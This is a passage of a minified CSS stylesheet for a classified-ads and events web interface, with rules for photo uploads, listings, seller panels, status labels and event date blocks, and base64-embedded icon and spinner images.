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);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.AD_ListNoStyle .hidden,.AD_UploadPhoto .AD_Photo span.hidden,.AD_UploadPhoto .hidden{display:none}.AD_UploadPhoto .AD_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;height:20px;position:absolute;right:2px;width:20px}.AD_UploadPhoto .AD_Delete:hover{cursor:pointer}#AD_SelectCountry > .custom-combobox > .custom-combobox-input{display:inline-block;height:15px;margin:0;padding:1px}#AD_SelectCountry > .custom-combobox > .ui-button{border-left:0;padding:.23em 1em}.AD_MainLayout{float:left;margin-right:-300px;width:100%}.AD_SidebarLayout{float:right;margin-bottom:4px;width:295px}.panel .AD_SectionTitle p{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin:.5em 0;padding-bottom:2px;text-transform:uppercase}.AD_SectionTitle{padding:5px}.AD_SectionGallery{margin-bottom:10px;position:relative;text-align:center;width:100%}#AD_MainImg,#AD_Thumbs{box-sizing:border-box;display:inline-block;margin:0 auto;vertical-align:top}#AD_MainImg{margin-bottom:10px;margin-right:1%;min-width:300px;width:50%}#AD_Thumbs{min-width:300px;width:40%}.AD_Thumb img{visibility:hidden;width:100%}.AD_Thumb{background-color:#e5f1f9;background-position:center;background-repeat:no-repeat;background-size:contain;border:3px solid #e5f1f9;box-sizing:border-box;display:inline-block}#AD_MainImg .AD_Thumb{height:425px;width:100%}#AD_Thumbs .AD_Thumb{float:left;height:135px;margin:0 2% 10px;width:45%}#AD_Thumbs .AD_Thumb.active{-khtml-opacity:.6;-moz-opacity:.6;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0.6);border-color:#1675bc;filter:alpha(opacity=0.6);opacity:.6}.AD_SectionDescription{font-size:10px}.AD_ListDesc li{padding:5px}.AD_ListDesc li:nth-child(2n + 1){background-color:#dceaf5}.AD_ListDesc li:nth-child(2n){background-color:#e5f1f9}.AD_ListDesc .AD_ListDescLabel{display:inline-block;font-weight:700;width:150px}.AD_ListDesc .AD_ListDescLabel img{margin:0 5px;vertical-align:middle;width:16px}.AD_Description{margin-top:25px}.AD_Description p{word-break:break-word}.AD_SidebarLayout .AD_Block{margin-bottom:10px}.AD_SidebarLayout .AD_Block .AD_BlockTitle p{font-size:1.05em;margin:0;padding:0}.AD_SidebarLayout .AD_Block .AD_BlockTitle{margin:0;padding:10px 1%;text-align:center}.AD_SidebarLayout .AD_Block .AD_BlockContent{padding:10px 1%}.AD_SellerIdentity .AD_ContentLeft,.AD_SellerIdentity .AD_ContentRight{box-sizing:border-box;font-size:10px}.AD_SellerIdentity .AD_ContentLeft{width:29%}.AD_SellerIdentity .AD_ContentRight{width:60%}.AD_SellerAvatar{background-position:center;background-repeat:no-repeat;background-size:cover;border-radius:50%;display:block;height:90px;width:90px}.AD_SellerName{font-weight:700}.AD_SellerIdentity .AD_ContentRight ul{line-height:30px;min-height:90px}.AD_SellerIdentity .AD_ContentRight ul img{display:inline-block;vertical-align:middle;width:16px}.AD_SellerIdentity .AD_ContentRight ul span{display:inline-block;margin:0 5px;vertical-align:middle}.pro_number_blank span{line-height:15px;margin:0 0 0 22px !important}.AD_Button{background:#eee;display:block;margin-bottom:5px;padding:5px 0;text-align:center;text-decoration:none;width:100%}.AD_Button:hover{background:#ccc;text-decoration:none!important}.AD_ListOptions{width:100%}.AD_ListOptions li{background:#cadceb;color:#1675bc;height:75px;list-style-type:none;margin:5px 1% 0;text-align:center;width:48%}.AD_ListOptions li:hover{opacity:.6}.AD_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.AD_ListOptions li a,.AD_ListOptions li a:hover{display:block;font-size:10px;height:100%}.AD_Label{float:left;padding:10px 0}.AD_StatusList span.AD_StatusLabel{vertical-align:top}.AD_StatusLabel{background:#1675bc;border-radius:5px;color:#fff;font-size:10px;font-weight:400;margin-right:5px;padding:5px;white-space:nowrap}.AD_DateLabel{font-size:10px;font-weight:400}.header ul{margin:2px 0 4px;width:100%}.AD_Header li{color:#fff!important;font-family:inherit;font-size:1.2em;text-transform:uppercase;vertical-align:middle}.AD_Header li select{padding:0}.AD_Row{list-style-type:none}.AD_Row p{font-size:10px;margin:0;padding:0}.AD_Row li{vertical-align:middle}.AD_Item .col1{min-width:120px;position:relative;width:10%}.AD_Item .col2,.AD_Item .col3{font-size:12px;width:25%}.AD_Item .col4{text-align:center;width:15%}.AD_Item .col5{text-align:right;width:15%}a.AD_Image{background-position:center;background-repeat:no-repeat;background-size:cover;border:3px solid #e5f1f9;display:block;height:100px;margin:5px auto;position:relative;vertical-align:middle;width:120px}ul.AD_Item{display:block;margin:10px 0;max-height:150px;position:relative}ul.AD_Infos li{margin:0 5px;text-align:left}ul.AD_Infos li p{line-height:30px}ul.AD_Infos li img{vertical-align:middle;width:16px}a.AD_Title{color:#0372be;display:block;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;line-height:1.5em;margin:0 10px;text-decoration:none;width:95%;word-break:break-word;word-wrap:break-word}.AD_Price{font-size:12px;font-weight:700;word-wrap:break-word}.AD_Price.text-justify{text-align:justify!important}.AD_TopImg{background:rgba(248,248,248,0.8);bottom:0;display:block;height:15%;padding:3px 0;position:absolute;right:0;text-align:center;width:100%}.AD_NbPhoto{color:#404040;display:inline-block;font-size:12px;font-weight:700;height:16px}.AD_IconPhoto{display:inline-block;height:16px;margin:0 5px;vertical-align:top;width:16px}.AD_TopImg:after{clear:both}.AD_SearchBox{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#e5f1f9;border-radius:5px;box-sizing:border-box;display:block;height:30px;line-height:20px;padding:5px;width:100%}.AD_Filters{display:block;height:10px;margin-bottom:5px;position:relative;text-align:right;width:99%}.AD_Preview{box-sizing:border-box;display:block;height:auto;line-height:20px;width:100%}.AD_Preview .h3{margin-top:5px}.AD_PreviewContent{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#cadceb;border-radius:5px;padding:5px}.AD_Preview .AD_PreviewTitle{font-size:12px;font-weight:700;margin:5px 0 10px}#AD_Form input,#AD_Form select,#AD_Form textarea{background-color:#fff;box-sizing:border-box;color:#666}.filter_ads{background-color:#fff;color:#666}#AD_Form input.error,#AD_Form input.has-help-txt,#AD_Form input.valid,#EV_Form input.error,#EV_Form input.has-help-txt,#EV_Form input.valid{padding-right:25px}#EV_Form input.inputbox,#EV_Form select{box-sizing:border-box;height:20px;min-width:70px}.input-button{position:relative}.input-button span{position:absolute;text-align:center;top:50%;transform:translateY(-50%);width:20px;z-index:2}.input-button input{padding-left:20px}.AD_localisation{position:relative}.AD_SectionDescription #mod_comment{margin:10px 0}.button-custom{-moz-border-radius:5px;-webkit-border-radius:5px;background:#fff;background-image:linear-gradient(tobottom,#fff,#d6d6d6);border:solid #aaa 1px;border-radius:5px;cursor:pointer;font-weight:700;padding:10px 20px 10px 15px;position:relative;text-decoration:none}.button-custom:hover{background:#eee}.button-custom,.button-custom:after,.button-custom:before{-moz-transform-style:preserve-3d;-moz-transition:-moz-transform 0.75s,background-color .125s;-ms-transform-style:preserve-3d;-ms-transition:-ms-transform 0.75s,background-color .125s;-webkit-transform-style:preserve-3d;-webkit-transition:-webkit-transform 0.75s,background-color .125s;transform-style:preserve-3d;transition:transform 0.75s,background-color .125s}.button-custom:after,.button-custom:before{-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden;bottom:0;left:0;position:absolute;right:0;top:0}.button-custom:before{z-index:2}.button-custom i.ic-geo{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAQAAAD8x0bcAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAACYktHRAD/h4/MvwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAL9JREFUKM9jKGUgDFG5zKVupeVA6Apk4VBkXHqj9D8UXis1xKZIq/QTXAkIfizVwFS0Byr5CSgNYe1EVyQBlVhUygaEi8Hsf6ViqIqsoYq0wDxtKM8KVZEuVNgfzAuC8rRRFbGUfgALvy2tKK0sfQdmvweKojl8NorfQHAWpu80S/+iKPkLFMESmPNQFM3BHuJiQBfBlLwpFcUVdxFwReG4I5ihdD5YyVx8qYChlLP0LBBy4FfEUCoNhAyEFGGBAJPj825MoCeBAAAAAElFTkSuQmCC);background-position:left center;background-repeat:no-repeat;float:left;height:18px;margin:-3px 2px 0;width:18px}.button-custom:after{-moz-border-radius:5px;-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-border-radius:5px;-webkit-transform:rotateX(180deg);background-color:#999;background-image:url(data:image/gif;base64,R0lGODlhEAAQAPIAAJmZmf///7CwsOPj4////9fX18rKysPDwyH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==);background-position:center center;background-repeat:no-repeat;border-color:#888;border-radius:5px;content:'';transform:rotateX(180deg);z-index:1}.button-custom.btn-loading{-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-transform:rotateX(180deg);transform:rotateX(180deg)}.AD_Form_MOD{margin:10px 0}#AD_RevisionTable{border-collapse:collapse;margin:10px 0;text-align:left;width:100%}#AD_RevisionTable .header{border-collapse:separate}#AD_RevisionTable th{border:1px solid #cadceb;padding:10px 5px}#AD_RevisionTable td{border-left:1px solid #cadceb;border-right:1px solid #cadceb;margin:0;padding:5px;width:30%}#AD_RevisionTable td:first-child{width:20%}.AD_Breadcrumb{margin:10px 0}.AD_StatusNoValid{background-color:#e67e22}.AD_StatusValid{background-color:#27ae60}.AD_StatusRejected{background-color:#c0392b}.AD_LastPA .AD_LastInfos{float:left;text-align:left;width:80%}.AD_LastPA a{width:100%;word-break:break-all;word-wrap:break-word}.AD_BlockContent #moderationinfos div{margin-top:1em;word-wrap:break-word}.EV_StatusLabel{background-color:#d31141;border-radius:3px;color:#FFF;font-size:12px;font-weight:700;margin-right:9px;padding:3px 9px;vertical-align:middle;white-space:nowrap}.EV_HalfBlock{border:1px solid #ddd;box-sizing:border-box;display:inline-block;margin:0 1% 10px auto;min-height:425px;min-width:300px;vertical-align:top;width:48%}.EV_HalfBlock .AD_Thumb{height:425px;width:100%}.EV_HalfBlock .List_thumb .AD_Thumb{display:inline-block;margin:0 5px;max-height:60px;max-width:60px}.EV_HalfBlock .List_thumb{border-bottom:3px solid #eee;padding:10px 0}.EV_MainInfos{border-bottom:1px solid #eee;padding:20px 0}.EV_MainInfos div{box-sizing:border-box;display:inline-block;padding:0 10px;text-align:left;vertical-align:top;width:49%}.EV_MainInfos div:last-child{border-left:1px solid #444}.EV_MainInfosTitle{color:#777;font-size:16px;font-weight:700;text-transform:uppercase}.EV_MainInfosTitle img{margin:0 5px;width:12px}.EV_MainInfosDesc{font-size:13px;font-style:italic;padding-left:20px}.EV_MainMap{box-sizing:border-box;height:200px;width:100%}.EV_MainMap #img_map{background-position:center;background-size:cover;height:100%;width:100%}#AD_BlockModo > .AD_BlockContent .button2{margin:0!important;text-align:center;width:100%!important}.inline{display:inline-block;vertical-align:top}.EV_FixedTitle{height:70px}.EV_DateBlock{margin-right:5px}.EV_DateBlock p{background:#3793ff;color:#fff;margin:0;padding:2px 0;text-align:center;width:50px}#EV_BlockSeller .AD_ContentRight ul span{display:initial;word-break:break-word}.AD_Block .button2{height:36px;margin:0!important;text-align:center;width:100%!important}.EV_DateBlock .year{background:#d31141;font-size:11px}.EV_DateBlock .day{font-size:25px;font-weight:700;padding:0}.EV_DateBlock .dayString{font-size:10px}.EV_Ticket_link{margin-top:15px}.EV_FixedTitle h1{vertical-align:top}.EV_FixedTitle .sub-header-path{margin-top:5px;vertical-align:bottom}.EV_TagCategory{border-radius:3px;box-shadow:0 1px 2px rgba(0,0,0,0.3);color:#fff!important;display:inline-block;font-size:11px;font-weight:500;overflow:hidden;padding:6px 9px;position:relative;text-decoration:none;vertical-align:middle;width:auto!important}.EV_PanelView{box-sizing:border-box;margin-right:300px}.EV_ListOptions{padding:0!important;width:100%}.EV_ListOptions li{background:#cadceb;color:#1675bc;display:inline-block;height:75px;list-style-type:none;margin:5px 1% 0;position:relative;text-align:center;vertical-align:top;width:48%}.EV_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.EV_ListOptions li:hover{opacity:.6}.EV_ListOptions li a,.EV_ListOptions li button{color:#0372be;font-size:10px;text-decoration:none}.EV_ListOptions li a:hover,.EV_ListOptions li button:hover{color:#f60;text-decoration:underline!important}.EV_ListOptions li button{background:transparent;border:none;cursor:pointer;display:inline-block;height:75px;left:0;position:absolute;top:0;width:100%}.EV_ListOptions li button > span{left:0;position:absolute;top:50px;width:100%}.EV_TagColor_bg1{background-color:#4693d3}.EV_TagColor_bg2{background-color:#db6989}.EV_TagColor_bg12{background-color:#f44336}.EV_TagColor_bg13{background-color:#00838f}.EV_TagColor_bg3{background-color:#ffaf02}.EV_TagColor_bg5{background-color:#00a8c6}.EV_TagColor_bg14{background-color:#9db10b}.EV_TagColor_bg7{background-color:#ff7200}.EV_TagColor_bg8{background-color:#767690}.EV_TagColor_bg6{background-color:#77c04b}.EV_TagColor_bg15{background-color:#3f51b5}.EV_TagColor_bg10{background-color:#a868c2}.EV_TagColor_bg16{background-color:#009688}.EV_TagColor_bg4{background-color:#bd967a}.EV_TagColor_bg11{background-color:#f465af}.EV_List ul li{display:block;position:relative}.EV_List > .button{display:block;width:10%!important}.EV_List .pagination{display:block;float:none;margin:10px auto}.EV_ListMonth{background:#dceaf5;border-bottom:1px solid #1675bc;height:30px;line-height:30px;text-align:center;width:100%}.EV_ListMonth span{background-color:#dceaf5!important;font-size:20px;padding:0 10px}.EV_Item{background-color:#fff;display:block;height:100px;margin:15px auto;overflow:hidden;position:relative;width:100%}.EV_Item > div{display:block;float:left;max-height:100px}.EV_Item .EV_ItemDate,.EV_Item .EV_ItemImg{height:100%;width:100px}.EV_Item .EV_ItemImg img{max-height:100px;max-width:100px;width:100%}.EV_Item .EV_ItemDate{background-color:#1675bc;line-height:100px;padding:5px 0;text-align:center}.EV_Item .EV_ItemDate p{color:#fff;font-size:13px;font-weight:700;line-height:30px;width:100%}.EV_Item .EV_ItemDate p span:first-child{font-size:20px}.EV_Item .EV_ItemDate p span:last-child{font-size:18px;font-style:italic;font-weight:400}.EV_Item .EV_ItemDate p.EV_Days{margin:0!important;padding:5px 0!important}.EV_Item .EV_ItemDate p.EV_DaySolo{margin-top:25px}.EV_Item .EV_ItemDate hr{border-top-width:4px;color:#fff;height:1px;margin:auto;width:50%}.EV_Item .EV_ItemInfos{position:relative;width:70%}.EV_Item .EV_ItemInfos > div{display:inline-block;height:100px;padding:20px;width:10%}.EV_Item .EV_ItemInfos > div:first-child{width:50%}.EV_Item .EV_ItemInfos > div:nth-child(2){width:20%}.EV_Item .EV_ItemInfos .EV_ItemTitle a{display:block;font-size:18px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.EV_Item .EV_ItemInfos .EV_ItemTitle p{font-size:13px;margin-top:10px}.EV_UploadPhoto{width:525px}.EV_UploadPhoto ul{margin:0;padding:0!important}.EV_UploadPhoto ul li{background:#eee;background-position:center;border:2px dashed #1675bc;float:left;height:100px;list-style-type:none;margin:0 10px 10px 0;padding:0;position:relative;width:100px}.EV_UploadPhoto ul li#EV_main_img{height:250px;width:430px}.EV_UploadPhoto .EV_Photo{cursor:pointer;display:block;height:100%;position:absolute;width:100%}.EV_UploadPhoto .EV_Photo input[type="file"]{-khtml-opacity:0;-moz-opacity:0;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0);filter:alpha(opacity=0);opacity:0}.EV_UploadPhoto .EV_Photo span{color:#000;display:block;text-align:center;width:100%}.EV_UploadPhoto .EV_Photo span.hidden{display:none}.EV_UploadPhoto .EV_Photo span:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAABuvAAAbrwFeGpEcAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAANISURBVHja7JvPa9RAFMfH+gtZ1FqKtCJ6EkXrweLR01JKFf0XFrT4gT0rCAvqVg+iIPTgqSIeFipIqYKLwh6kIFREClLwXE+iWG2l7UHdsl5epIZsNslmZpJmDw+WTSZ530+SN2/mzahGo6GybKoDoAMg4wAAnVYGGm1aWaePSRevHUIaxGuFkBbx2iCkSbwWCGkTHzuENIqPFUJaxccGwevPY0AJeAesWBQXl62IlpJoawqgH5jeBIJb2bRo/Q9AH7CQAfGOLYjmfwBmMyTesVkHQD6D4h3LK2AywwAmFTCXYQBzCljKMIAlZfiGX4AXksCcl+5oD3ACOAs8ABZN+mQKwG/gOrAtQHa2A7gE/NgsAOaBUxHS1D55W1IN4KE80ai5+lbgaVoBzLcp3rFu4FPaAPwBBtsUfgC4ozsW6AIw1obwQaAigTOVQfArsD2i+JLpXEAHgGoE4VuA+y260ZoAKgBDYgX5rxb1jdEBoBwh0j9ucq3PQFECYZBgWZQ2VgFcCCF+J/DM4xp1iSO5CG9TTtrWbQHoD+HsTY/2y8BIDN3niFzLOIDeEJneqof4gRbt3PfzO3egFQQdAM4EBDDh8doHefJhADhvQt0kgMsBnDru4VTQ3CEsACXXNgZgPIBDVY9on9MIINesd9ABYBHY7ePMYY82xRDBLQoAJfcwlgrf8HHkokeS020AQI9XLNAFYBnY18SRiuvcWsjuLSoABcyYHA6/kkTH7cR713klgwDGTE+IVD3mBNxj+0ILge3axmuP2pgSqwL7Nzix5jo+ZBDAsK1J0VXgNrAX+JVFAI59l9miRH0CtgsjNoPgzySUxmx2g2+TUBy1mQhdTUp53FYqfCgpCyRsDIZeJm2JjMnh8DpwMmmLpExOiDxK6jI5E1Nia1J10r5cPojdszApesvUfoGgBZEpg9PiU+6qlW0ACtgln5tfYaQnYD/vVxipSBFGJQ2AktHi6xYBckae7KgMa